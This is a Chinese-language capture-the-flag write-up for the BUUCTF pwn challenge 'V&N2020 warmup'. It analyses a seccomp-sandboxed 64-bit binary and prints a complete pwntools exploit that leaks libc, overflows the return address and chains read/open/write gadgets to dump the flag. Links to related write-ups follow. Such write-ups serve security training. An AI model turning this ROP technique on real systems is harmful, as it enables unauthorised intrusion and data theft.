[BUUCTF]PWN——[V&N2020 公开赛]warmup
[V&N2020 公开赛]warmup
步骤:
例行检查,64位程序,除了canary,其他保护都开

本地运行一下,看看大概的情况

64位ida载入,从main函数开始看程序

看到程序将puts函数的地址泄露给了我们
sub_84D()函数里面是prctl函数的沙箱机制

可以利用seccomp-tools工具来查看一下限制了哪些函数

禁止了execve和fork syscall,
关于seccomp-tools工具的安装和使用看这篇文章,关于prctl函数可以看一下这篇文章sub_9D3()函数,第一个输入点,没什么漏洞

sub_9A1()函数,第二个输入点,可以溢出16字节,也就是我们正好只能覆盖到ret

但是这个函数在调用 sub_9D3 函数的之前没有任何东西入栈
调用 sub_9A1 的返回地址入栈,覆盖完返回地址,下个8字节又正好是我们上次输入的东西,所以两次输入可以连起来,作为一个ROP链一般沙盒类型的题目都不会禁掉open,read,write这三个函数,我们可以想办法在程序中读出flag,并输出,从而得到flag
64位程序,传参要用到寄存器,题目已经给了我们libc版本,现在libc里找到设置他们值的指令的相对地址



然后还有一个问题,那就是将flag读到哪里是个问题,在查阅了其他师傅写的wp之后总结了一下
1. libc.[‘environ’],是libc存储的栈地址
2. libc.address + 0x3C6500 和 libc.address + 0x3C6700,是位于libc的bss段
3. __free_hook ,__free_hook是全局变量,可以直接被修改
搞清楚上述的内容后,开始写exp
from pwn import *
r=remote('node3.buuoj.cn',27182)
libc=ELF("./libc-2.23.so")
context.log_level='debug'
r.recvuntil("0x")
puts_addr=int(r.recv(12),16)
libcbase_addr=puts_addr-libc.symbols['puts']
pop_rdi_ret=libcbase_addr+0x21102
pop_rsi_ret=libcbase_addr+0x202e8
pop_rdx_ret=libcbase_addr+0x1b92
open_addr=libcbase_addr+libc.symbols['open']
#free_hook=libcbase_addr+libc.symbols['__free_hook']
libc_bss =libcbase_addr+0x3c5720
read_addr=libcbase_addr+libc.symbols['read']
#puts_addr=libcbase_addr+libc.symbols['puts']
write_addr=libcbase_addr+libc.symbols['write']
# 写入read函数的调用,之后我们传入‘flag’这4个字符,作为下面open,read,write的文件名
payload = p64(0) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
# 写入open函数的调用,打开名为‘flag’的文件
payload += p64(pop_rdi_ret) + p64(libc_bss) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
# 写入read函数的调用,读出‘flag’文件里的内容
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
# 写入write函数的调用,打印出‘flag’文件里的内容
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(libc_bss) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr)
r.sendafter("Input something: ",payload)
r.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi_ret))
r.send("flag")
r.interactive()

[BUUCTF]PWN——[V&N2020 公开赛]warmup的更多相关文章
- [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap
[V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...
- [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap
[V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...
- [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn
[V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe
[V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp
[V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...
- 【pwn】V&N2020 公开赛 simpleHeap
[pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...
- 刷题记录:[V&N2020 公开赛]TimeTravel
题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...
- [V&N2020 公开赛] Web misc部分题解
0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...
- [V&N2020 公开赛]babybabypwn
写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...
随机推荐
- [luogu5344]逛森林
由于没有删边操作,可以先建出整棵森林,之后再用并查集判断是否连通,若连通必然与最后的森林相同 但如果用树链剖分+线段树的形式来优化建图,更具体如下: 建立两颗线段树,左边从儿子连向父亲,右边从父亲连向 ...
- [bzoj4557]侦察守卫
令g[i][j]表示覆盖了i的子树中距离i大于等于j的所有点,f[i][j]表示覆盖了i的子树和子树外距离i小于等于j的所有点,有递推式$f[i][j]=min(f[i][j]+g[son][j],f ...
- 《HelloGitHub》第 68 期
兴趣是最好的老师,HelloGitHub 让你对编程感兴趣! 简介 HelloGitHub 分享 GitHub 上有趣.入门级的开源项目. https://github.com/521xueweiha ...
- CSS 基础 - Cascade and Inheritance
CSS 基础 - Cascade and Inheritance MDN学习笔记:https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building ...
- 解决fatal: unable to access '': Failed to connect to 127.0.0.1 port 1181: Connection refused的问题
今天把项目提交的git远程的时候遇到一个问题 fatal: unable to access '': Failed to connect to 127.0.0.1 port 1181: Connect ...
- 统计学习1:朴素贝叶斯模型(Numpy实现)
模型 生成模型介绍 我们定义样本空间为\(\mathcal{X} \subseteq \mathbb{R}^n\),输出空间为\(\mathcal{Y} = \{c_1, c_2, ..., c_K\ ...
- Codeforces 997E - Good Subsegments(线段树维护最小值个数+历史最小值个数之和)
Portal 题意: 给出排列 \(p_1,p_2,p_3,\dots,p_n\),定义一个区间 \([l,r]\) 是好的当且仅当 \(p_l,p_{l+1},p_{l+2},\dots,p_r\) ...
- 三个 AGC D(AGC037D、AGC043D、AGC050D)
大概就 lxr 讲了 4 个 AGC 的 D,有一个以前做过了不算,另外三个都会做罢( 为了避免开三个博客就把它们合并到一起了 AGC 037 D lxr:难度顺序排列大概是 037<043&l ...
- 【百奥云GS专栏】全基因组选择之模型篇
目录 1. 前言 2. BLUP方法 ABLUP GBLUP ssGBLUP RRBLUP 3. 贝叶斯方法 BayesA BayesB BayesC/Cπ/Dπ Bayesian Lasso 4. ...
- Spring(3):AOP面向切面编程
一,AOP介绍 AOP为Aspect Oriented Programming的缩写,意为:面向切面编程,通过预编译方式和运行期动态代理实现程序功能的统一维护的一种技术.AOP是OOP的延续,是软件开 ...